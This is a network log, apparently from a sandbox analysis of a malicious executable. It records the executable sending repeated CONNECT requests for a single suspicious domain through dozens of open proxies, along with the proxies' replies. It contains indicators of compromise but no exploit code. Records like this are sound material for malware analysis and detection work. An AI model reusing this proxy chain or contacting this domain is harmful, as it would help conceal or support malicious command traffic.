Mar 11, 2024 16:42:20.428179026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:51.195242882 CET	113	IN	HTTP/1.1 503 Service Temporarily Unavailable Content-Type: text/html Connection: close Data Raw: 42 61 63 6b 65 6e 64 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 Data Ascii: Backend not available

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
384	192.168.2.11	51191	203.74.125.18	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.431185007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
385	192.168.2.11	51190	211.222.252.187	8193	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.439697027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
386	192.168.2.11	51311	172.67.181.147	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.442519903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.597621918 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
387	192.168.2.11	51293	162.223.116.75	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.442929029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.667757034 CET	830	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:42:20 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
388	192.168.2.11	51232	174.75.211.222	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.444838047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
389	192.168.2.11	51146	112.30.155.83	12792	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.448462963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.983123064 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
390	192.168.2.11	51269	72.210.221.223	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.460273027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
391	192.168.2.11	50603	41.77.188.131	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.467331886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.485605001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.485924959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.485634089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.485783100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:56.579289913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:08.579091072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:32.581748962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:20.578972101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
392	192.168.2.11	51288	72.195.34.41	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.470451117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
393	192.168.2.11	51343	3.21.101.158	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.472177982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.688673973 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:20 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
394	192.168.2.11	51369	104.27.66.31	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.473021984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.627408981 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
395	192.168.2.11	51201	186.124.164.213	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.475450993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
396	192.168.2.11	51371	172.67.182.77	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.478847027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.633338928 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
397	192.168.2.11	51200	212.31.100.138	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.480104923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
398	192.168.2.11	51309	72.195.34.35	27360	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.484452009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
399	192.168.2.11	51365	164.92.86.113	50564	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.484774113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.954107046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.501235962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.689084053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.985625982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.189138889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.485708952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.876471996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:42.641603947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
400	192.168.2.11	50673	102.214.104.56	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.492647886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.688793898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.788574934 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
401	192.168.2.11	51203	91.202.230.219	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.497375965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
402	192.168.2.11	50741	143.137.116.72	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.507230043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
403	192.168.2.11	51150	36.134.91.82	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.511137009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.438481092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
404	192.168.2.11	50507	120.197.40.219	9002	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.512819052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.532443047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.158687115 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
405	192.168.2.11	51246	194.247.173.17	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.522419930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
406	192.168.2.11	51265	37.235.48.19	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
